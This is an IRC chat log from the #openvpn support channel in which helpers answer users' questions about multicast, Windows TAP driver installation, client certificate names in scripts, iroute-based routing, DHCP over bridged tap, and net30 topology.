08:36 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
08:45 -!- qropatwa [4e0833c4@gateway/web/cgi-irc/kiwiirc.com/ip.78.8.51.196] has joined #openvpn
08:45 -!- gardar [~gardar@gardar.net] has joined #openvpn
08:45 < qropatwa> hello
08:47 < qropatwa> i need to pass multicast traffic in my VPN network, i need it to be sent not to everyone, but to few specified groups, to save bandwidth
08:47 < qropatwa> can this be achieved by openvpn?
08:51 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
08:52 <@plaisthos> I think openvpn currently treats multicast as broadcast
08:52 <@plaisthos> I think there is no igmp snooping implemented
08:52 < qropatwa> in tap setup?
08:53 <@plaisthos> but there is http://openvpn.net/archive/openvpn-devel/2006-11/msg00018.html
08:53 <@vpnHelper> Title: [Openvpn-devel] Patch that provides unidirectional IGMP snooping in the multi-client server (at openvpn.net)
08:53 <@plaisthos> qropatwa: tun/tap does not matter there
08:54 < qropatwa> i need to send some tv ads to 2 different networks of shops
08:54 < qropatwa> it would require normally a lot of traffic and connection speed
08:55 < qropatwa> all of them are connected together within single vpn
08:55 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
08:55 < qropatwa> so i tought 1 shop network would be group 1, and 2nd gorup 2
08:55 < qropatwa> and send multicast to them]
08:55 < qropatwa> maybe i will draw that
08:56 <@plaisthos> there is no multicast support in openvpn
08:56 <@plaisthos> multicast traffic will currently be replicated to all client
08:56 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-woindrjtebaycnpv] has joined #openvpn
08:56 < qropatwa> so it will be sent as unicast?
08:56 < sandeepr_ltp> good evening
08:57 < sandeepr_ltp> i'm using opevpn 2.3.2 x64 on win 7
08:58 <@plaisthos> qropatwa: yes
08:58 < sandeepr_ltp> today morning i uninstalled it and when attempted to reinstall it errors "An error occurred installing the TAP device driver"
08:58 < sandeepr_ltp> i have cleaned it from registry, rebooted the system
08:58 < sandeepr_ltp> yet the error persists
08:58 <@plaisthos> I never heard of any VPN that does multicast on the transport layer
08:59 <@plaisthos> (non encryption MPLS VPN don't count)
08:59 < sandeepr_ltp> could anyone help me please?
08:59 < sandeepr_ltp> and because of this openvpn connection fails
09:00 < qropatwa> plaisthos: i heard that i can use a routed tap setup, like a normal routed tun, but with dev tap. That way it uses ethernet frames instead of ip traffic within the tunnel, and multicast can work
09:03 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
09:03 <@plaisthos> qropatwa: yeah
09:06 <@plaisthos> qropatwa: read like I said before. No IGMP Snooping means multicast is handle as broadcast
09:06 < qropatwa> plaisthos: so is this finally possible to do, or not? im a little bit confused
09:06 < qropatwa> hmm
09:06 < qropatwa> so sent to everyone, instead of to group?
09:07 <@plaisthos> and since VPN connect are point to point connections anyway the distinction between igmp snooping and no igmp is only if the multicast traffic is unicasted only to those client which are intrested or unicasted to all clients
09:07 < sandeepr_ltp> !welcome
09:07 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
09:07 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:08 < sandeepr_ltp> !howto for beginners
09:08 <@plaisthos> sandeepr_ltp: try just !howto
09:08 < sandeepr_ltp> !howto
09:08 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:08 < sandeepr_ltp> plaisthos, :-) thanks
09:08 < qropatwa> plaisthos: so whatever i do it still will be unicast?
09:09 <@plaisthos> qropatwa: yep. But that will the case with almost any VPN solution
09:09 <@plaisthos> and multicast is only supported in private networks anyway
09:10 < qropatwa> what do you mean by private network?
09:12 <@plaisthos> != Internet
09:13 <@plaisthos> multicast over Internet does generaly not work because ISP don't implement it
09:13 < sandeepr_ltp> plaisthos, would you be able to help me?
09:14 <@plaisthos> sandeepr_ltp: sorry, I have almost next to none experience with the windows tap driver/OpenVPN client
09:14 < sandeepr_ltp> plaisthos, ok
09:15 < qropatwa> so if i understand correctly... multicast works - data can be sent only to interested (groups)... so here everything works like in normal multicast, but on the other hand - all data needs to be sent as many times as there are clients in group?
09:15 < qropatwa> plaisthos: ^
09:16 <+pekster> sandeepr_ltp: Two common problems there: 1) you lack admin rights (by the OS or via UAC if you didn't install "as adminstrator" with UAC's crap enabled.) 2) your 'Local Security Policy' is set to deny the device driver installation. The standard practice of checking your system logs would be prudent
09:17 <+pekster> I'm not sure how you "cleaned it from the registry" but you shouldn't ever have to do silly things like that; the 'TAP Windows' program menu entry has its own uninstaller that removes the device and the program group if you wish to remove it
09:18 < sandeepr_ltp> pekster, this was a working install until today morning since i uninstalled. 1) i'm running as administrator. 2) i have mcafee put in learn mode which will prompt me before denial. however there has been no such prompt since it was all allowed previously. let me take a quick look at the system log
09:18 <+pekster> #2 sounds possibly suspect
09:19 <@plaisthos> qropatwa: no - there is no igmp snooping
09:20 <@plaisthos> qropatwa: data will be sent to all client.
09:20 <@plaisthos> qropatwa: but otherwise correct
09:21 < qropatwa> so having lets say 10mbps connection would be insufficient then...
09:22 <@plaisthos> no idea about your setup
09:22 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has joined #openvpn
09:22 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
09:24 < qropatwa> well in multicast connection speed is not so important - the data is sent once
09:25 < qropatwa> in unicast it is a problem - data needs to be sent to everyone
09:25 < qropatwa> so traffic increases a lot
09:25 < qropatwa> and thats the main issue here
09:25 < qropatwa> plaisthos: ^
09:26 < sandeepr_ltp> pekster, i redid the install and system log has this entry - Driver Management concluded the process to install driver FileRepository\oemwin2k.inf_amd64_neutral_5a1fec2fbbccefcc\oemwin2k.inf for Device Instance ID ROOT\NET\0000 with the following status: 0x5aa.
09:26 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has quit [Ping timeout: 246 seconds]
09:27 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
09:27 <@plaisthos> qropatwa: yeah. But probably sending multicast traffic to the Internet will not work anyway ;)
09:28 < sandeepr_ltp> goggle did not return relevant hits for this error
09:28 -!- childofthehorn [~childofth@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
09:29 < qropatwa> plaisthos: this pretty sucks
09:30 < qropatwa> i know about internet... i hoped vpn could solve this
09:32 <+pekster> A VPN isn't magic; it merely connects 2 systems together (or in the case of P2MP, connects "many clients" to "one server".) That doesn't change how you'd go about multicast routing, which is to set it up within a routing domain *you* explicitly control and make each router hop aware of the multicast routing needs
09:32 <+pekster> That connection is naturally encapsulated and sent across the link between your endpoints, and subject to all the flaws of The Internet at large
09:34 < qropatwa> pekster: what about overlay networks? they dont worry about phisical connections and/or hardware
09:36 <+pekster> It doesn't matter. It's like wondering why the 'tin can and string' trick doesn't work across the ocean, then proclaiming that "it works fine between my window and the neighbor's"
09:39 -!- lmm [uid6417@gateway/web/irccloud.com/x-ankbpkypodxualfr] has joined #openvpn
09:43 -!- qropatwa [4e0833c4@gateway/web/cgi-irc/kiwiirc.com/ip.78.8.51.196] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
09:43 < rob0> One time I got a sales call from Sprint (the telco.) I told the sales guy that if Sprint was the last telco on Earth, I'd use tin cans and string.
09:43 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
09:44 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
09:44 < rob0> He actually got a kick out of that. I had a feeling that he didn't like his employer any more than I did.
09:50 -!- Belliash [~belliash@asiotec/constitutive/belliash] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is."]
09:51 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
09:55 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
09:55 -!- russoisraeli [~igor@malka.Princeton.EDU] has joined #openvpn
09:57 < russoisraeli> hello guys. I have a multi-client openvpn server. Clients all have a personal client cert, whose common name equates their internal user name.... I need to "get" this common name on the client side (Windows) to use in a batch file. Any ideas?
09:59 <+pekster> russoisraeli,
09:59 <+pekster> !script
09:59 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
10:00 < russoisraeli> pekster - checked all of that stuff... found an option x509-something that supposedly should do exactly that. For some reason it's not available on the latest openvpn for windows
10:00 <+pekster> You don't wnat that option: that changes the X509 field used for the common name. You want to see the manpage section I listed that exposes the CN as an env-var
10:00 <+pekster> Read that section again a bit more carefully
10:01 < russoisraeli>   --x509-username-field fieldname? that not it?
10:01 <+pekster> (unless you meant you *actually* had a different Subject field in your X509 client cert you wish to use as the openvpn "common_name" for your client, in which case you need to build from source to enable that feature. I *highly* doubt you want that)
10:02 <+pekster> And no, that field is *not* what you want if you wish to *retrieve* the client's CN. Use the script hooks as they were intended
10:02 < russoisraeli> no, I just want to do exactly that - expose the client CN as a username or any other env var i can use in a script
10:02 <+pekster> No, you don't want that option then
10:02 < russoisraeli> ok, sec, let me check again
10:02 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
10:03 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 268 seconds]
10:03 <+pekster> russoisraeli: Let me be very explicit here: you only ever want that --x509-username-field option if you need to define the common name of the client as something *other* than the "commonName" field within the X509's Subject DN. If you don't know what any of that means, it doesn't apply to you.
10:03 < russoisraeli> I understand... no, i guess not
10:09 < russoisraeli> that's weird... it says it sets "common_name", and yet I've dumped all of the set env vars into a text file, and the only cert values that were set were those of the server
10:12 <+pekster> Oh, you wanted the local name?
10:12 <+pekster> I'd just parse that from openssl output from the cert
10:13 < russoisraeli> that would be extremely easy in unix
10:13 < russoisraeli> not too sure about windows
10:13 <+pekster> both $common_name and $X509_N_CN (where 'N' is the depth of the cert in the chain being validated) will contain the remote endpoints. The local cert isn't ever checked or processed by OpenVPN; it's only used to send to the remote peer
10:13 < russoisraeli> ah
10:13 < russoisraeli> damn
10:13 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
10:13 <+pekster> So install openssl (an option from openvpn's installer) and call it?
10:14 -!- raidz_away is now known as raidz
10:14 < russoisraeli> yeah, I need to see if I can get it without perl or sed
10:14 <+pekster> openssl.exe works fine from windows. If you need real tools, try installing sed or grep too
10:14 < russoisraeli> pekster - yeah, that would be normally what I'd do, but I need to get a bunch of potentially illiterate clients to do that
10:15 <+pekster> So ship it?
10:15 < vaillor> guys, why with tls-client, redirect-gateway def1 doesn't work?
10:16 < russoisraeli> yeah... i was hoping for easier options...let me play with openssl...maybe it has an option to filter it out
10:16 <+pekster> "real tools" for Windows: http://sourceforge.net/projects/win-bash/
10:16 <@vpnHelper> Title: win-bash | Free System Administration software downloads at SourceForge.net (at sourceforge.net)
10:16 <+pekster> And that doesn't even require cygwin magic
10:16 <+pekster> It might be old, but it's got grep+sed
10:16 < russoisraeli> that's cool...all I've heard of was Cygwin
10:18 <+pekster> You can use cygwin's stuff too: install it on your dev box, then do `ldd $(which someprogram)` and copy both the executable and all non-OS dll's to some arbitrary directory, put it on a system without cygwin, and it works
10:18 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
10:18 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
10:18 <+pekster> win-bash has less dynamic linking, so it's less of a pain if you don't mind the ancient versions
10:20 < russoisraeli> thanks pekster, this sounds interesting
10:21 <+pekster> Sure. I'm using win-bash bits for a re-write of easy-rsa here, if you're more of a learn-by-example person:
10:21 <+pekster> http://pekster.sdf.org/code/projects/easyrsa3.html
10:21 <@vpnHelper> Title: Project: Easy-RSA 3 (next-gen Easy-RSA codebase) (at pekster.sdf.org)
10:22 <+pekster> All the windows-only bits are in their own github project, which basically just wraps around Windows behaviours to make the shell code work as expected
10:23 -!- tharkun [~0@187.188.94.182] has joined #openvpn
10:24 < vaillor> guys, can you help me please?
10:25 -!- speed_racer81 [~speed_rac@h18.160.30.71.dynamic.ip.windstream.net] has joined #openvpn
10:28 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
10:34 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
10:44 -!- speed_racer84 [~speed_rac@h18.160.30.71.dynamic.ip.windstream.net] has joined #openvpn
10:46 -!- speed_racer81 [~speed_rac@h18.160.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 240 seconds]
10:48 -!- speed_racer81 [~speed_rac@h18.160.30.71.dynamic.ip.windstream.net] has joined #openvpn
10:51 -!- speed_racer84 [~speed_rac@h18.160.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 240 seconds]
10:53 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
10:54 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
10:55 -!- speed_racer81 [~speed_rac@h18.160.30.71.dynamic.ip.windstream.net] has quit [Ping timeout: 240 seconds]
11:01 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
11:09 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:19 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
11:24 -!- ele__ is now known as ele
11:27 -!- avb [~avb@190.122.126.194] has joined #openvpn
11:27 < avb> hey guys. is there is any ways to route specific subnets to a specific customers?
11:28 < avb> route add -host 192.168.97.3 gw 192.168.97.2 do not pass the traffic for 97.3 to 97.2 machine
11:28 < avb> im using dev tun
11:30 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 256 seconds]
11:31 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
11:32 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
11:33 <+pekster> avb: "specific customers" ? 1) your rule doesn't make sense since that appears to be 2 IPs in the center of a /30 2) see !topology becuase net30 is only needed when supporting Windows clients before 2.1.x (ie: 6+ year old clients.) 3) If you want to expose client lans, see !clientlan
11:34 <+pekster> Oh, and 4) if that's a Linux box, stop using 'route'
11:34 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has left #openvpn []
11:34 <+pekster> !ifconfig_linux
11:34 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
11:36 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Read error: Connection reset by peer]
11:36 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
11:37 < avb> pekster: by specific customers i meant say a client with cn hostA should get ips 97.2 and 97.3
11:38 < avb> thanks for a tips
11:38 <+pekster> You can't do that
11:39 <+pekster> 1 client = 1 IP, unless you're using tap
11:39 <+pekster> You can't arbitrarly assign IPs to clients using tun; you can route across it though via !clientlan (ie: using --iroute with a corresponding --route for the OS)
11:40 < avb> i can switch to tap, np
11:40 <+pekster> The question is why are you doing that?
11:40 <+pekster> !xy
11:40 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
11:40 < avb> i want to forward ips from vpn networks into the client network
11:41 < avb> to assign them to different equipments there
11:41 < avb> to avoid nat
11:41 <+pekster> tap won't fix that. Route properly
11:41 <+pekster> !route
11:41 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
11:41 <@vpnHelper> behind the server or client
11:43 < avb> !serverlan
11:43 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:43 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:44 < avb> pekster: sounds good, let me try :)
11:44 < avb> so tun will be ok
11:44 <+pekster> Yes
11:44 <+pekster> !tunortap
11:44 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
11:44 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
11:49 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
11:51 < BtbN> i got weird behaviour with tap recently. The client got a diffrent IP than the dhcp server reports it gave that client. I can ping it fine on the IP the client shows. But a traceroute seems to go out via the public IP, which doesn't make sense at all. But apart from that, it works fine.
11:51 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
11:54 < kisom> BtbN: OpenVPN does not use DHCP
11:55 < BtbN> sure, the OpenVPN client request an IP via dhcp
11:55 < BtbN> that's what server-bridge without any arguments does
11:55 <+pekster> Well, openvpn "sort of" implements a fake DHCP reply via the tap device on Windows
11:56 < BtbN> huh?
11:56 < BtbN> how do i disable that?
11:56 < kisom> You noth know what I mean
11:56 <+pekster> Without that feature, it just transports the L2 broadcast for an IP the client generates across the bridge
11:56 < kisom> And, if you use a DHCP server to assign addesses, then the issue is within the DHCP server
11:56 < kisom> s/noth/both
11:57 < avb> yay
11:57 <+pekster> Right. BtbN, your issue is either with your client (not openvpn) or the dhcp server (also not openvpn)
11:57 < avb> pekster: thanks for iroute tip
11:57 < avb> works like a charm
11:57 < BtbN> pekster: yeah, that would be fine, OpenVPN is running on a router, its tap device is inside the main network bridge.
11:57 < kisom> BtbN: Maybe another client is running a DHCP server?
11:57 < BtbN> nope, the network itself works fine
11:57 < BtbN> only OpenVPN clients behave strange
11:58 < BtbN> The clients are just configured to use dhcp, nothing special
11:59 < kisom> I still think your clients get assigned addresses from the OpenVPN server
11:59 < kisom> Post your configs somewhere and I'll have a look.
12:00 < BtbN> http://paste.lugons.org/show/4562/ that's the server config
12:01 < BtbN> if i got that right, server-bridge without any arguments should just tell the client to use dhcp, which should be handles by my local dhcp server running on the same machine
12:01 < BtbN> *d
12:02 < kisom> Can I see your client configuration too?
12:03 < BtbN> https://paste.lugons.org/show/5ZW4lSEKg9AmVms9yYds/
12:03 < BtbN> also nothing special
12:03 <+pekster> Note that a setup like that has the usually-unpleasant side-effect of hading clients a default route with the DHCP reply, which is generally not what you want as it will then compete with a pre-existing default route
12:04 < BtbN> i took care of that on the clients by adding a hard route to the server on the regular lan
12:04 <+pekster> You're missing the point; the 0/0 route will "flip" every time a DHCP reply/refresh is processed
12:04 <+pekster> At an extreme example, say the lease time is 5 minutes -- that's probably not what you expected to happen
12:05 < BtbN> there's no other default route, only the vpn
12:05 < BtbN> it generaly works fine, there's only this weird behaviour with dhcp
12:06 <+pekster> Then you'd better use tools like dhcping or such to find out what else is handing the client that IP
12:06 <+pekster> "something on your LAN isn't doing what you expect" is the generic answer here
12:24 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Read error: Operation timed out]
12:43 -!- avb [~avb@190.122.126.194] has quit [Remote host closed the connection]
12:55 -!- avb [~avb@190.122.126.194] has joined #openvpn
12:59 < avb> pekster: hey, everything is working great :)
13:00 < avb> do you know if there is any way to push iroute to a client?
13:00 <+pekster> No; iroute only ever makes sense in a server-side ccd file
13:01 <+pekster> (or via --client-connect's $1)
13:01 < avb> pekster: maybe my question sounds wrong :)
13:02 < avb> pekster: what i want is to automatically add ip route add for the network openvpn server assigned to this client
13:03 < avb> now during server configuration i need to add routing of the  needed subnet into local network manually into the config
13:03 <+pekster> huh?
13:04 < avb> pekster: i have iroute 192.168.97.8 255.255.255.248
13:04 <+pekster> OpenVPN won't "set up the rest of your network" for you -- you can route across it as you could route across any normal interface
13:05 <+pekster> So that's telling the server that 192.168.97.8/29 is handled by that particular client
13:05 <+pekster> It's pointless to do that unless that client actually has an interface (thus a link-local route) to that network in the first place
13:05 <+pekster> (or, at least a routing defition to route to that network further along the path)
13:05 -!- avb [~avb@190.122.126.194] has quit [Read error: Connection reset by peer]
13:06 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 246 seconds]
13:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
13:18 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
13:19 -!- mode/#openvpn [+o krzee] by ChanServ
13:19 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
13:20 -!- JAVACODER [~JAVACODER@2.190.36.130] has joined #openvpn
13:25 -!- avb [~avb@190.122.126.194] has joined #openvpn
13:29 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has left #openvpn []
13:41 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-woindrjtebaycnpv] has quit [Quit: Leaving]
13:48 -!- testing123 [~root@46-246-94-206.vps.gridlane.net] has joined #openvpn
13:48 < testing123> !welcome
13:48 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
13:48 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:50 < testing123> I have TLS-enabled vpn which is fine but on client i see "inet 10.9.8.6 peer 10.9.8.5/32 scope global tun0" and on server I see "inet 10.9.8.1 peer 10.9.8.2/32 scope global tun0". Client can ping 10.9.8.1 but i can't set as default gw because Network unreachable, do I need to provide more details or is this a simple oversight?
13:50 < testing123> can't ping .5 from client
13:51 -!- rascal999 [~user@unaffiliated/rascal999] has joined #openvpn
13:51 -!- rascal999 [~user@unaffiliated/rascal999] has left #openvpn []
13:53 <+pekster> testing123:
13:53 <+pekster> !/30
13:53 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
13:54 < testing123> !topology
13:54 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
13:55 < testing123> !/30
13:55 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
13:59 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
14:00 -!- testing123 [~root@46-246-94-206.vps.gridlane.net] has quit [Quit: WeeChat 0.3.8]
14:03 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
14:14 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
14:16 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
14:19 -!- speed_racer81 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 240 seconds]
14:31 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-uzhviwbifbbwpyfm] has quit [Ping timeout: 246 seconds]
14:31 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
14:31 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
14:32 -!- lmm [uid6417@gateway/web/irccloud.com/x-ankbpkypodxualfr] has quit [Ping timeout: 246 seconds]
14:32 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 246 seconds]
14:32 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-wiaubzuhqqbyurvp] has joined #openvpn
14:32 -!- lmm_ is now known as lmm
14:32 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
14:33 -!- rtbt [carrot@unaffiliated/tommehm] has joined #openvpn
14:33 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 246 seconds]
14:33 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Ping timeout: 246 seconds]
14:33 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Write error: Connection reset by peer]
14:33 -!- mchou_ [~quassel@unaffiliated/mchou] has joined #openvpn
14:33 -!- mchou [~quassel@unaffiliated/mchou] has quit [Ping timeout: 246 seconds]
14:33 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-ijpgmextkbqapljj] has joined #openvpn
14:34 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:34 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
14:36 -!- ade_b [~Ade@p57A5780D.dip0.t-ipconnect.de] has joined #openvpn
14:36 -!- ade_b [~Ade@p57A5780D.dip0.t-ipconnect.de] has quit [Changing host]
14:36 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
14:37 -!- [fred] [~fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
14:37 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 246 seconds]
14:37 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 246 seconds]
14:38 -!- [fred] [~fred@konfuzi.us] has joined #openvpn
14:38 -!- gardar [~gardar@gardar.net] has joined #openvpn
14:38 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 246 seconds]
14:38 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
14:40 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
14:40 -!- mode/#openvpn [+v hazardous] by ChanServ
14:44 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
14:49 -!- JAVACODER [~JAVACODER@2.190.36.130] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
14:54 -!- russoisraeli [~igor@malka.Princeton.EDU] has quit [Quit: Ex-Chat]
14:54 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
15:01 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
15:10 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
15:11 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has joined #openvpn
15:11 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has quit [Max SendQ exceeded]
15:12 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has joined #openvpn
15:13 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has quit [Max SendQ exceeded]
15:13 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has joined #openvpn
15:14 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has quit [Max SendQ exceeded]
15:15 -!- cjs226 [~cjs226@adsl-68-253-132-23.dsl.emhril.ameritech.net] has joined #openvpn
15:21 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
15:22 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
15:24 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
15:26 -!- avb [~avb@190.122.126.194] has quit [Read error: No route to host]
15:33 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
15:33 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
